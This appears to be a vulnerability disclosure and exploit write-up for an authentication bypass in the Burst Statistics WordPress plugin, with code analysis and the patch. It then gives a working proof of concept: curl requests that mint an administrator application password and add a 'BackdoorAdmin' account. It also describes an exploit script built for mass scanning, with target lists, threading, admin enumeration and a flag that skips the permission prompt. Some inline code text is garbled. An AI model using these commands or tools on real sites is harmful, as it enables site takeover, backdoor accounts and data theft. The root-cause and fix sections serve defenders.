
The Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) plugin for WordPress is vulnerable to Authentication Bypass
Vulnerability Summary
The WordPress plugin Burst Statistics versions 3.4.0 to 3.4.1.1 is vulnerable to an unauthenticated authentication bypass vulnerability that leads to full administrator account takeover. This critical flaw allows an unauthenticated attacker who knows any administrator username to mint a valid WordPress Application Password for that account in a single HTTP request, achieving persistent admin-level access to the entire site.
The vulnerability stems from the is_mainwp_authenticated() function in class-mainwp-proxy.php. This function calls wp_authenticate_application_password() and only checks whether the result is a WP_Error. It does not verify whether the result is actually a successful WP_User object. When WordPress's internal filter application_password_is_api_request returns — which happens when the call is made outside the normal REST API authentication flow — the WordPress function returns instead of a or . Because is not a , the check passes, and the attacker's chosen admin user is set as the current user via .
falsenullWP_ErrorWP_UsernullWP_Errorwp_set_current_user()Once the current user is switched to an administrator, subsequent capability checks pass. The attacker can then reach the /burst/v1/mainwp-auth REST endpoint, which creates a WordPress Application Password for the admin account and returns it in the response. This gives the attacker persistent, full admin-level access.
Affected Plugin
| Field | Value |
|---|---|
| Plugin Name | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Plugin Slug | burst-statistics |
| Affected Versions | 3.4.0 – 3.4.1.1 |
| Patched Version | 3.4.2 |
| CVE ID | CVE-2026-8181 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Authentication Bypass (Improper Authentication) |
| CWE | CWE-287 — Improper Authentication |
| Impact | Full Site Takeover — Admin Account Takeover |
What Attackers Can Do
| Capability | Impact |
|---|---|
| Mint Application Password for any admin | Persistent Admin Access |
| Create new admin accounts via REST API | Account Proliferation |
| Install plugins / themes | Remote Code Execution |
| Edit posts, pages, and settings | Site Defacement |
| Export or delete all site data | Data Destruction / Exfiltration |
| Access WooCommerce / customer data | Data Breach |
Technical Analysis
Burst Statistics initializes during WordPress's plugins_loaded hook at priority 9, inside class-burst.php:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() is the gatekeeper for all admin functionality. It checks for the X-BurstMainWP header and calls into the vulnerable function:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() Returns nullWordPress internal function wp_authenticate_application_password() has a filter:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
When called outside the REST API authentication flow, this returns null. The Burst Statistics code only checked is_wp_error($is_valid) — null is not a WP_Error, so the check incorrectly passes.
X-BurstMainWP: 1 header with any requesthas_admin_access() triggers is_mainwp_authenticated()wp_authenticate_application_password() returns null (not in API context)is_wp_error(null) = false → check passeswp_set_current_user($admin_id) executes/burst/v1/mainwp-authhandle_auth_request() mints a WordPress Application Passwordbase64(username:app_password)// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Fixes applied:
application_password_is_api_request filter to true so actual password validation occursWP_User instance (not null)hash_equals() to verify username matchAdditionally, the check_auth_permission() for the REST endpoint was hardened to require current_user_can('manage_burst_statistics') and explicit nonce verification for cookie-authenticated requests.
Proof of Concept
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
The exploit_burst_statistics.py script automates the full attack chain:
readme.txt, plugin header, or asset query stringsX-BurstMainWP: 1 + fake Basic Auth to mint tokenExploit Features
/wp-json/) and ugly permalinks (/?rest_route=)ThreadPoolExecutorUsage
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
Create targets.txt:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
| Flag | Description |
|---|---|
-t, --target | Single target URL |
-l, --list | File with target list (one per line) |
-T, --threads | Threads for mass scan (default: 10) |
-o, --output | Output file for results (default: result_burst_statistics.txt) |
-u, --username | Known admin username (skip enumeration) |
-v, --verbose | Verbose debug output |
--timeout | Request timeout in seconds (default: 20) |
--no-confirm | Skip permission confirmation prompt |
Fix Recommendations
For developers and site owners:
X-BurstMainWP: 1 headerTimeline
| Date | Event |
|---|---|
| 2026-05-08 | CVE reserved |
| 2026-05-11 | Vendor notified |
| 2026-05-13 | Publicly disclosed |
| 2026-05-13 | Patch released (v3.4.2) |
| 2026-05-15 | Active exploitation reported in the wild |
Researcher
References
Disclaimer
This information is provided for educational and authorized penetration testing purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.